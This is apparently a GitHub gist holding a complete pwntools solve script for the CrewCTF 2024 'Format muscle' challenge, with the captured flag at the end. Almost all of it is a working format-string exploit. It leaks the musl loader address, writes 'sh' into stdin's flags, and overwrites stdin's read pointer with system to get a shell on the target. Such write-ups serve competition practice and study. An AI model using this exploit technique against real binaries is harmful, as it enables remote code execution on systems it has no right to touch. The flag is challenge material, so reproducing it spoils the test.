Skip to content

Instantly share code, notes, and snippets.

@lebr0nli
Last active August 7, 2024 02:37
Show Gist options
  • Save lebr0nli/46040b005879df9936a9ab64c0f1caf4 to your computer and use it in GitHub Desktop.
Save lebr0nli/46040b005879df9936a9ab64c0f1caf4 to your computer and use it in GitHub Desktop.
CrewCTF 2024 - Format muscle (pwn)
#!/usr/bin/env python3
from __future__ import annotations
from pwn import *
import ctypes
import typing as T
binary = ELF("./format-muscle")
# libc = ELF("./libc.so.6")
ld = ELF("./ld-musl-x86_64.so.1")
context.binary = binary
if args.NEWW:
context.terminal = ["tmux", "neww", "-e", "GDB=pwndbg"]
else:
context.terminal = ["tmux", "splitw", "-h", "-e", "GDB=pwndbg"]
context.arch = context.binary.arch
HOST, PORT = (args.NC or "nc format-muscle.chal.crewc.tf 1337").split()[1:]
HOST, PORT = args.HOST or HOST, int(args.PORT or PORT)
GDB_SCRIPT = """
# tbreak main
set follow-fork-mode parent
break *main+92
break system
continue
""".strip()
GDB_SCRIPT = "\n".join(line for line in GDB_SCRIPT.splitlines() if not line.startswith("#"))
def strb(data: T.Any) -> bytes:
return data if isinstance(data, bytes) else str(data).encode()
def cint(n: int, bits: int, signed: bool) -> int:
return {
(8, True): ctypes.c_int8,
(8, False): ctypes.c_uint8,
(16, True): ctypes.c_int16,
(16, False): ctypes.c_uint16,
(32, True): ctypes.c_int32,
(32, False): ctypes.c_uint32,
(64, True): ctypes.c_int64,
(64, False): ctypes.c_uint64,
}[(bits, signed)](n).value
def log_leak(data: int | bytes | str, name: str = "leaked", use_hex: bool = True) -> None:
if isinstance(data, (bytes, str)):
info(f"{name}: {data}")
return
if use_hex:
data = hex(data)
info(f"{name}: {data}")
def demangle(val: int, is_heap_base: bool = False) -> int:
if not is_heap_base:
mask = 0xFFF << 52
while mask:
v = val & mask
val ^= v >> 12
mask >>= 12
return val
return val << 12
def mangle(heap_addr: int, val: int) -> int:
return (heap_addr >> 12) ^ val
def conn() -> tube:
if args.LOCAL:
# ./solve.py LOCAL
return process([binary.path])
elif args.GDB:
# ./solve.py GDB
return gdb.debug([binary.path], gdbscript=GDB_SCRIPT)
# ./solve.py
return remote(HOST, PORT)
def exploit() -> bool:
with conn() as io:
io.sendline(b"start")
io.recvuntil(b"start\n")
io.sendline(b"%1$p")
ld.address = int(io.recvline(), 16) - 0xAE1ED
log_leak(ld.address, "ld")
stdin = ld.address + 0xAD180
log_leak(stdin, "stdin")
info("Writing sh to stdin->flags")
payload = fmtstr_payload(
6,
{
# somehow we need that \t to make flags work
stdin: int.from_bytes(b"\tsh\0", "little"),
},
no_dollars=True,
)
assert len(payload) < 256
io.sendline(payload)
# https://github.com/kraj/musl/blob/v1.2.2/src/stdio/__uflow.c#L9
# https://github.com/kraj/musl/blob/v1.2.2/src/stdio/__toread.c#L3-L14
info("Writing system to stdin->read")
payload = fmtstr_payload(
6,
{
stdin + 0x40: ld.symbols["system"],
},
no_dollars=True,
)
assert len(payload) < 256
io.sendline(payload)
sleep(1)
io.clean()
io.interactive()
return True
def main() -> None:
if not args.LOOP:
exploit()
return
cnt = 0
saved_addresses = {}
for b in filter(None, map(globals().get, ("binary", "libc", "ld"))):
saved_addresses[b] = b.address
# ./solve.py LOOP
while cnt := cnt + 1:
info(f"Attempted {cnt}")
try:
if exploit():
return
except Exception as e:
debug(str(e))
# clean up the addresses we set during exploit
for b, addr in saved_addresses.items():
if b.address != addr:
b.address = addr
if __name__ == "__main__":
main()
# crew{why_n0t_%1337$p_1n_musl???}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment